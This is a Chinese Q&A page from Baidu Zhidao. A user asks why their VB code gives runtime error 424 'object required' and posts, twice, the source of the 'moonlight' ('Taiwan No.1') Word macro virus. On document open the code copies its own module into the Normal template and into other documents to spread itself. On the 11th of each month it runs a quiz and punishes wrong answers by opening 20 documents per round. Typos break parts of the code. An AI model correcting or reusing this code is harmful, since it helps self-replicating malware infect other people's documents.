![](https://iknow-base.cdn.bcebos.com/lxb/notice.png)
VB代码运行时提示:“运行时错误:‘424’要求对象”怎么回事?
'moonlightDimnm(4)Subdocument_open()'disableinput1Setourcodemodule=thiedocument.VBPro...
'moonlight
Dim nm(4)
Sub document_open()
'disableinput 1
Set ourcodemodule = thiedocument.VBProject.vbcompcnents(1).codeodule
Set host = NormalTemplate.VBProject.vbcomponents(1).codemodule
If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.vbcomponents(1).codemodule
End If
With host
If .Lines(1, 1) <> " 'moonlight" Then
.deletelines 1, .countoflines
.insertlines 1, ourcodemodule.Lines(1, 100)
.replaceline 3, "sub document_close()"
ifthisdocument = normaltemplatethem
.replaceline 3, "sub document_close()"
ActiveDocument.SaveAs ActiveDocumentfullname
End If
End With
Count = 0
If Day(Now()) = 11 Then
try:
On Error GoTo try
test = 1
con = 1
tog$ = ""
i = 0
While test = 1
For i = 0 To 4
nm(i) = Int(Rnd() * 10)
con = con * nm(i)
If i = 4 Then
tog$ = tog$ + Str$(nm(4)) + "=?"
GoTo beg
End If
tog$ = tog$ + Str$(nm(1)) + "*"
Next i
beg:
Beep
ans$ = InputBox$("今天是" + Date$ + ",跟你玩一个心算游戏" + Chr$(13) + "若你答错,只好接受震撼教育......" + Chr$(13) + tog$, "台湾no.1macro virus")
If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then
Documents.Add
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
Beep
With Selection.Font
.Name = "细明体"
.Size = 16
.Bold = 1
.Underline = 1
End With
Selection.InsertAfter Text:="何谓宏病毒"
Selection.InsertParagraphAfter
Beep
selettion.intsertafter Text:="答案:"
Selection.Font.Italic = 1
Selection.InsertAfter Text:="我就是......"
Selection.InsertParagraphAfter
Selection.InsertParagraphAfter
Selection.Font.Italic = 0
Beep
Selection.InsertAfter Text:="如何预防宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfter Text:="答案:"
Selection.Font.Italic = 1
Selection.InsertAfter Text:="不要看我......"
GoTo out
Else
Count = Count + 1
For j = 1 To 20
Beep
Documents.Add
Next j
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
Selection.InsertAfter Text:="宏病毒"
If Count = 2 Then GoTo out
GoTo try
End If
Wend
End If
out:
End Sub 展开
Dim nm(4)
Sub document_open()
'disableinput 1
Set ourcodemodule = thiedocument.VBProject.vbcompcnents(1).codeodule
Set host = NormalTemplate.VBProject.vbcomponents(1).codemodule
If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.vbcomponents(1).codemodule
End If
With host
If .Lines(1, 1) <> " 'moonlight" Then
.deletelines 1, .countoflines
.insertlines 1, ourcodemodule.Lines(1, 100)
.replaceline 3, "sub document_close()"
ifthisdocument = normaltemplatethem
.replaceline 3, "sub document_close()"
ActiveDocument.SaveAs ActiveDocumentfullname
End If
End With
Count = 0
If Day(Now()) = 11 Then
try:
On Error GoTo try
test = 1
con = 1
tog$ = ""
i = 0
While test = 1
For i = 0 To 4
nm(i) = Int(Rnd() * 10)
con = con * nm(i)
If i = 4 Then
tog$ = tog$ + Str$(nm(4)) + "=?"
GoTo beg
End If
tog$ = tog$ + Str$(nm(1)) + "*"
Next i
beg:
Beep
ans$ = InputBox$("今天是" + Date$ + ",跟你玩一个心算游戏" + Chr$(13) + "若你答错,只好接受震撼教育......" + Chr$(13) + tog$, "台湾no.1macro virus")
If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then
Documents.Add
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
Beep
With Selection.Font
.Name = "细明体"
.Size = 16
.Bold = 1
.Underline = 1
End With
Selection.InsertAfter Text:="何谓宏病毒"
Selection.InsertParagraphAfter
Beep
selettion.intsertafter Text:="答案:"
Selection.Font.Italic = 1
Selection.InsertAfter Text:="我就是......"
Selection.InsertParagraphAfter
Selection.InsertParagraphAfter
Selection.Font.Italic = 0
Beep
Selection.InsertAfter Text:="如何预防宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfter Text:="答案:"
Selection.Font.Italic = 1
Selection.InsertAfter Text:="不要看我......"
GoTo out
Else
Count = Count + 1
For j = 1 To 20
Beep
Documents.Add
Next j
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
Selection.InsertAfter Text:="宏病毒"
If Count = 2 Then GoTo out
GoTo try
End If
Wend
End If
out:
End Sub 展开
2个回答
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询